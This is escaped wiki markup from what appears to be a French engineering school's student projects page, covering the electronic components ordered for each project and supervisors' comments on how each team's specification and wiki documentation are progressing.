&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Chargeur portable, PB-A5200, Power Bank, 5000mAh, Lithium Polymère, RS [http://fr.rs-online.com/web/p/batteries-externes/7757508/] [30/03/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Un câble &amp;quot;série&amp;quot; pour raspberry [01/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Servo-moteur 180° [01/02/2016, achat personnel]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;2 caméras 720p pour tester le flux vidéo[09/03/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;convertisseur HDMI-SVGA pour Raspberry Pi [03/02/2016]&amp;lt;/span&amp;gt;.&amp;lt;br /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| P42 [[Mini-drones]]&lt;br /&gt;
|&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Minidrones Parrot : JUMPING SUMO [01/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Minidrones Parrot : ROLLING SPIDER [01/02/2016]&amp;lt;/span&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| P43 [[SmartMeter, gestion de consommation électrique]]&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Maxim 78M6610+LMU [http://eu.mouser.com/ProductDetail/Maxim-Integrated/78M6610+LMU-B01/?qs=sGAEpiMZZMuicgbJr93hQVd6%252bEl2PjSnPQyvC3%252bgS6U%3d], &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Quartz 20Mhz [http://fr.farnell.com/iqd-frequency-products/lfxtal003185/quartz-20mhz/dp/9712879], &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Capacités : &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 µF x9 unités [http://fr.farnell.com/tdk/c1608x5r1h105k080ab/condensateur-mlcc-x5r-1uf-50v/dp/2211179], &amp;lt;br /&amp;gt; &lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;0.1uF x9 unités [http://fr.farnell.com/multicomp/mc0603f104z500ct/condensateur-mlcc-y5v-100nf-0603/dp/1759123], &amp;lt;br /&amp;gt; &lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;18 pF x6 unités [http://fr.farnell.com/walsin/0603n180j500ct/condensateur-mlcc-np0-18pf-50v/dp/2496890?MER=en-me-sr-b-all].&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Résistances : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;100 Ohm, [http://fr.rs-online.com/web/p/resistances-cms/2132143/] ,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;750 Ohm, [http://fr.rs-online.com/web/p/resistances-cms/6790692/] ,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 KOhm,  [http://fr.rs-online.com/web/p/resistances-cms/2132266/] ,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;10 KOhm, [http://fr.rs-online.com/web/p/resistances-cms/2132418/] ,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 MOhm,  [http://fr.rs-online.com/web/p/resistances-cms/6789932/].&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Résistance de shunt: 0.004 Ohm [http://fr.rs-online.com/web/p/resistances-cms/8665374/],&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Leds rouge CMS x12, [http://fr.farnell.com/rohm/sml-310vtt86l/led-0603-rouge/dp/1685064] ,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Bornier [http://fr.farnell.com/camdenboss/ctb0308-2/bornier-2-voies/dp/3882652],&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Transformateur VTX-214 001 103 [http://fr.farnell.com/vigortronix/vtx-214-001-103/conv-ac-dc-fixe-1-o-p-1w-3-3v/dp/2401019],&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:orange&amp;quot;&amp;gt;Adaptateur USB [02/02/2016],&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Fusible 250V/125mA [02/02/2016].&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P43.ods]].&lt;br /&gt;
|-&lt;br /&gt;
| P44 [[Le marteau de Thor]]&lt;br /&gt;
| &lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Un arduino UNO [27/01/2016],&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;un lecteur d'empreintes digitales : Mouser [http://www.mouser.fr/ProductDetail/MikroElektronika/MIKROE-1722/?qs=GJ%2F2ZGcr5uOW3uiL4M9shA%3D%3D] [09/03/2016] &amp;lt;/span&amp;gt;, &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Un shield NFC [27/01/2016] &amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Un téléphone sous Androïd [27/01/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Un capteur de pression [03/02/2016],&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Un électro aimant [25/01/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
Une alimentation électroaimant (labo 24V), &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Une alimentation arduino [27/01/2016]&amp;lt;/span&amp;gt;. &amp;lt;br/&amp;gt;&lt;br /&gt;
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P44.ods]].&lt;br /&gt;
|-&lt;br /&gt;
| P45 [[Orchestre électronique]]&lt;br /&gt;
|&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Alimentation PC [27/01/2016]&amp;lt;/span&amp;gt;, &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Lecteurs de disquette (x2) [27/01/2016]&amp;lt;/span&amp;gt;, &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Lecteur CD (x1) [27/01/2016]&amp;lt;/span&amp;gt;, &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Disques durs (x3) [27/01/2016]&amp;lt;/span&amp;gt;, &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Scanner [27/01/2016]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Raspberry Pi 2 + alimentation + FTDI [27/01/2016]&amp;lt;/span&amp;gt;, &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Cables GPIO femelle [27/01/2016]&amp;lt;/span&amp;gt;, &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Cable Alimentation PC [27/01/2016]&amp;lt;/span&amp;gt;, &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:orange&amp;quot;&amp;gt;Buffers 3 états (Farnell) [http://fr.farnell.com/fairchild-semiconductor/nc7sp126p5x/buffer-single-tri-state-sc-70/dp/2453002] [Commandé - Recu - En attente de confirmation des librairies Altium]&amp;lt;/span&amp;gt;, &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Imprimantes [01/02/2016]&amp;lt;/span&amp;gt;, &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Clavier MIDI [http://www.thomann.de/fr/m_audio_keystation_mini_32_mk2.htm?gclid=Cj0KEQiAoby1BRDA-fPXtITt3f0BEiQAPCkqQQKdntNWLwKu92GOUp2gHXfTCj5t0WB9LWyZjAaAZUkaAmDV8P8HAQ][Prêté par Hidéo VINOT - 10/03/16] &amp;lt;/span&amp;gt;.&amp;lt;br /&amp;gt;&lt;br /&gt;
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P45.ods]].&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Supra FAX Modem [18/04/2016]&amp;lt;/span&amp;gt;, &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Modem Message 56k [18/04/2016]&amp;lt;/span&amp;gt;, &amp;lt;br /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| P47 [[Commande d'une suspension magnétique]]&lt;br /&gt;
| &lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Logiciel Matlab simulink et la suspension magnétique Didastel. &amp;lt;/span&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==  Notes sur les projets ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
| Projet || Mini-cahier des charges || Mi-parcours || Fin de parcours || Wiki terminé || Rapport || Vidéo&lt;br /&gt;
|-&lt;br /&gt;
| P0 [[Commande USB par micro-contrôleur]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color:red;&amp;quot;&amp;gt;Vide.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P4 [[Train de véhicules]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Cahier des charges très correct, bien rédigé, illustré, un schéma intéressant, le sujet est compris. Une liste du matériel nécessaire, précise et raisonnable.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Excellent Wiki, travail effectué et restant à réaliser clairement décrits, Wiki bien rédigé et illustré.La progression est très satisfaisante.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Toujours très satisfaisant.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P5 [[Imprimante 3D à chocolat]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Très bon cahier des charges, bien rédigé, illustré, bonne synthèse du travail à effectuer. Le matériel nécessaire est listé mais sans référence précise.&amp;lt;/font&amp;gt;&amp;lt;font style=&amp;quot;color:orange;&amp;quot;&amp;gt;Il n'est pas évident que ce matériel soit d'un coût raisonnable.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Wiki non alimenté depuis le mois de janvier. Il est impossible de juger de l'avancement du projet.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Le Wiki a été un peu enrichi : un chapitre sur de la programmation arduino par LabView, quelques mots sur l'imprimante 3D. Pas de documentation sur les 3 dernières semaines du projet. On peut craindre un échec du projet.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P6 [[Zone de sécurité pour vélo]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Cahier des charges correct. Synthèse d'une réunion interne. Liste précise du matériel.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Wiki non alimenté depuis plus d'un mois. Il est impossible de juger de l'avancement du projet.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Le compte-rendu de la première réunion évoque un cahier des charges et un planning. Aucun planning dans le Wiki. Sur la dizaine de points évoqués lors de la réunion, un seul est décrit : la création d'une application pour smartphone permettant la communication avec une raspberry pi.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P7 [[Journée IMA]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: lightgreen;&amp;quot;&amp;gt;Un cahier des charges finalement correct fin décembre.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Wiki avec des coquilles et à la rédaction approximative. Deux photos trop grandes dont une floues. Le Wiki présente bien l'état d'avancement du projet. Des inquiétudes quand à la concrétisation du projet voire même d'un seul des 5 sous-projets menés de front.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Un Wiki toujours faible sur la forme. Le Wiki de type chronologique, un minimum de synthèse serait la bienvenue. Toujours pas d'avancée significative concernant la finalisation des 3 projets de démonstration.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P9 [[Tableau blanc interactif]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Cahier des charges correct, le projet semble être spécifié. Une rencontre avec l'encadrant. Attention tout de même au coté très ouvert du sujet. Un embryon de liste de matériel. Il faut donner des références pour la caméra par exemple.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: lightgreen;&amp;quot;&amp;gt;Un Wiki avec quelques coquilles. Bien illustré sur les deux premières semaines, un peu en chantier sur les 3 dernières. Aucun résultat pour l'instant. Vous semblez perdus dans votre programmation. Produisez un code fonctionnel même incomplet pour une démonstration intermédiaire pour la semaine 6. Vous parlez de &amp;quot;complexité&amp;quot; de développement sans aucune explication concrète.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Le résultat décrit est apprécié, avez-vous pu faire une démonstration à un encadrant ? La construction du pointeur est peut être un peu trop détaillée. Essayez de donner un algorithme pour votre application. Le projet semble pouvoir aboutir.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P10 [[Réseau de capteurs longue distance]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: lightgreen;&amp;quot;&amp;gt;Quelques coquilles de rédaction. Le sujet est décrit mais on pourrait souhaiter plus de détail. Une illustration.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Un Wiki très dépouillé. Il manque les reproduction des pièces de puzzle réalisés sur carton, des images empreintes des composants réalisés sous Altium. Il manque aussi une semaine sur les 5 ... A ce moment du projet nous devrions avoir une proposition de PCB pour les 3 pièces principales : alimentation, micro-contrôleur, radio LORA&amp;lt;/font&amp;gt; &lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Wiki toujours trop léger. Le travail des deux dernières semaines sur le routage n'est pas décrit. Le travail sur les tests de communication via les modules LORA est totalement passé sous silence. La modélisation des pièces de puzzle n'est pas aboutie : il manque la pièce d'alimentation et toutes les lignes entre les pièces ne sont pas présentes.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P12 [[Robots mobiles pour Arduino]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: lightgreen;&amp;quot;&amp;gt;Un cahier des charges finalement très correct.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: lightgreen;&amp;quot;&amp;gt;Un Wiki très correctement tenu, bien rédigé, bien illustré. La progression du travail est clairement exposée. Un bémol cependant, le travail de la semaine 5 est minimal ou trop rapidement décrit. A ce niveau du projet vous devriez avoir un prototype du réducteur et des roues à présenter.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Wiki très correct. Par contre la réalisation semble avoir pris un retard important.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P16 [[Miroir intelligent]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Cahier des charges très correct même si on pourrait demander des précisions sur les retouches à apporter à l'image. Correctement rédigé, un effort de mise en forme. Une liste de matériel.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Wiki non alimenté depuis le mois de décembre. Corrigez immédiatement le tir. Ce manque de sérieux au niveau de la documentation sera pris en compte dans la notation.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Le Wiki a été un peu utilisé suite à la précédente remarque. L'orthographe est déplorable (e.g. &amp;quot;néant&amp;quot; pour &amp;quot;n'ayant&amp;quot;). Wiki a nouveau abandonné pour les 3 dernières semaines. Le travail effectué est soit très léger soit mal présenté.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P21 [[Robot autonome pour cartographie]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Cahier des charges correct. Attention à bien identifier des tâches à réaliser ne dépendant pas du projet des CM5. Préciser ce système de tags pour calibrer la position du robot. Une liste de matériel.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Wiki clair, bien rédigé et illustré. La progression du travail est facile à suivre.&amp;lt;/font&amp;gt;&lt;br /&gt;
On aimerait un mot sur l'état du robot des CM5 et voir le PCB de la carte correspondant à la vue plaque d'essais.&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Comme je le craignais le robot des CM5 n'est pas opérationnel. Vous n'en êtes pas responsables, par contre un plan B aurait du être prévu. Les PCB ne sont pas disponibles dans le Wiki 3 semaines après le commentaire précédent. La mesure du signal n'est envisagée qu'en semaine 8 et avec une méthode décevante basée sur un script et non sur un programme C. Un gros doute sur la possibilité d'avoir une réalisation concrète.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P23 [[Matelas connecté]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Bel effort de présentation d'un cahier des charges pour un sujet très &amp;quot;ouvert&amp;quot;. Rédaction très correcte. Une inquiétude sur la possibilité d'obtenir le matériel. Merci de mettre à jour le cahier des charges après la rencontre avec l'industriel.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Wiki clair, bien rédigé et illustré. Le travail effectué est bien présenté.&amp;lt;/font&amp;gt;&lt;br /&gt;
Rien sur la semaine 5.&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Dernières entrées moins illustrées mais une vidéo montrant l'avancement. Le projet initial tombe à l'eau mais vous n'en êtes pas responsables.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P27 [[BIOLOID commandé par Arduino]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: yellowgreen;&amp;quot;&amp;gt;Les grandes lignes sont définies. Quand vous parlez de commander le robot sans logiciel vous voulez dire commander le robot sans logiciel propriétaire ? Le cahier des charges est un peu court. Préciser l'environnement de développement C des Bioloid et l'interface entre l'Arduino et les servos-moteurs.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Wiki clair et détaillé. Le travail effectué est présenté précisement.&amp;lt;/font&amp;gt;&lt;br /&gt;
Il faudrait peut-être dire un mot sur la conception du robot lui même ? Dites ce qu'est un CM5.&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Wiki toujours très correct. L'avancemement du projet semble maîtrisé.&amp;lt;/font&amp;gt;&lt;br /&gt;
Vous allez dire ce qu'est un CM5 ?&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P28 [[Imprimante 3D multi-fils]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Le cahier des charges est correct, vous avez contacté votre encadrant. Précisez que la solution de soudure de segments de filaments vient de vos encadrants ? Etablissez une liste du matériel nécessaire.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Wiki non alimenté depuis le mois de décembre. Corrigez immédiatement le tir. Ce manque de sérieux au niveau de la documentation sera pris en compte dans la notation.&amp;lt;/font&amp;gt; &lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Wiki très léger. Aucune rédaction, deux photos et deux vidéos. Le projet semble en être dans une phase préliminaire. La seule réalisation proposée est un outil de découpe et d'assemblage *manuel* de fil.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P29 [[Aide anti-gaspillage alimentaire]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Pas de différence notable avec le sujet initial. Un doute sur l'intérêt d'un portable pour la lecture des étiquettes. Un autre doute sur la possibilité de cette lecture. La date d'expiration est généralement difficile à trouver et mal imprimée, quelles solutions envisagez-vous ? Aucune modication entre le 3 décembre et fin janvier.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Wiki non alimenté depuis le mois de décembre. Ce manque de sérieux au niveau de la documentation sera pris en compte dans la notation. Vu votre absentéisme en projet une note catastrophique pour ce module est fortement probable.&amp;lt;/font&amp;gt; &lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Wiki trop léger et non à jour. Le projet semble à peine débuté.&amp;lt;/font&amp;gt; &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P30 [[Micro-robots auto-organisés]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Une bonne description du projet et du but à atteindre. Un doute sur les moteurs choisis (non commandable par l'université d'ailleurs) : ce sont des moteurs très rapides. Des réflexions avancées sur le matériel. Il reste à trouver des références exploitables.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Un Wiki correctement rédigé mais plutôt dépouillé, sans illustration. Le Wiki est abandonné depuis la semaine 3 incluse. Mettez le à jour ! Il est difficile de savoir où vous en êtes ...&amp;lt;/font&amp;gt; &lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Wiki avec de nombreuses coquilles et assez mal formaté (voir la correction).&amp;lt;/font&amp;gt; &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Le Wiki permet de connaître l'état d'avancement mais il manque le schéma de la pièce 3D et le test de la carte. Sous réserve que la carte fonctionne, il semble possible d'avoir une réalisation concrète en fin de projet.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P32 [[Veilleuse enfant connecté]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Cahier des charges très correct. Bien rédigé. Clairement le projet a été bien appréhendé. Une liste du matériel avec des références.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt; Juste quelques mots sur la première séance et encore il s'agit d'intentions et pas de résultats. Ce manque de sérieux au niveau de la documentation sera pris en compte dans la notation. Corrigez le tir immédiatement.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Wiki avec une orthographe non tolérable à ce niveau d'études, merci de corriger. Les deux dernières semaines ne sont pas documentées.&amp;lt;/font&amp;gt;&amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Le Wiki présente bien l'avancé du travail. Des résultats concrets sont présentés. Vous devez faire un effort sur l'automatisation de votre système (scripts systèmes) mais il semble que le projet puisse aboutir.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P34 [[Jeu de plateforme tangible]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: lightgreen;&amp;quot;&amp;gt;Enfin un cahier des charges à peu près correct fin janvier.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Wiki clair et bien rédigé. Illustré. La progression du travail est clairement exposée.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Wiki toujours bien rédigé (quelques coquilles voir correction). Des résultats. Peu de doutes sur le fait que le projet puisse aboutir.&amp;lt;/font&amp;gt;&lt;br /&gt;
Une question : la longueur de la scène est-elle liée au nombre de colonnes de cubes devant la caméra ou est-il possible de construire la scène au fur et à mesure du déplacement du personnage ?&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P37 [[Interface de communication entre robots]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Cahier des charges correct. Quelques coquilles manque de formatage.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: red;&amp;quot;&amp;gt;Un Wiki quasiment vide concernant l'avancement du projet. Impossible de se faire une idée du travail réalisé. Ce manque de sérieux dans la documentation aura un impact sur la note finale. Corrigez le tir au plus tôt.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: orange;&amp;quot;&amp;gt;Il est dommage que le Wiki ne soit pas assez étoffé pour faire justice au travail réalisé. Les illustrations et la structure sont correctes, il manque simplement une description plus détaillée des réalisations.&amp;lt;/font&amp;gt;&amp;lt;font style=&amp;quot;color: green;&amp;quot;&amp;gt;Le travail est bien avancé, les réalisations sont de qualité, le projet devrait aboutir.&amp;lt;/font&amp;gt;&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P38 [[Hydroponie]]&lt;br /&gt;
| &amp;lt;font style=&amp;quot;color: lightgreen;&amp;quot;&amp;gt;Un cahier des charges finalisé très tardivement fin janvier.&amp;lt;/font&amp;gt;&lt;br /&gt;
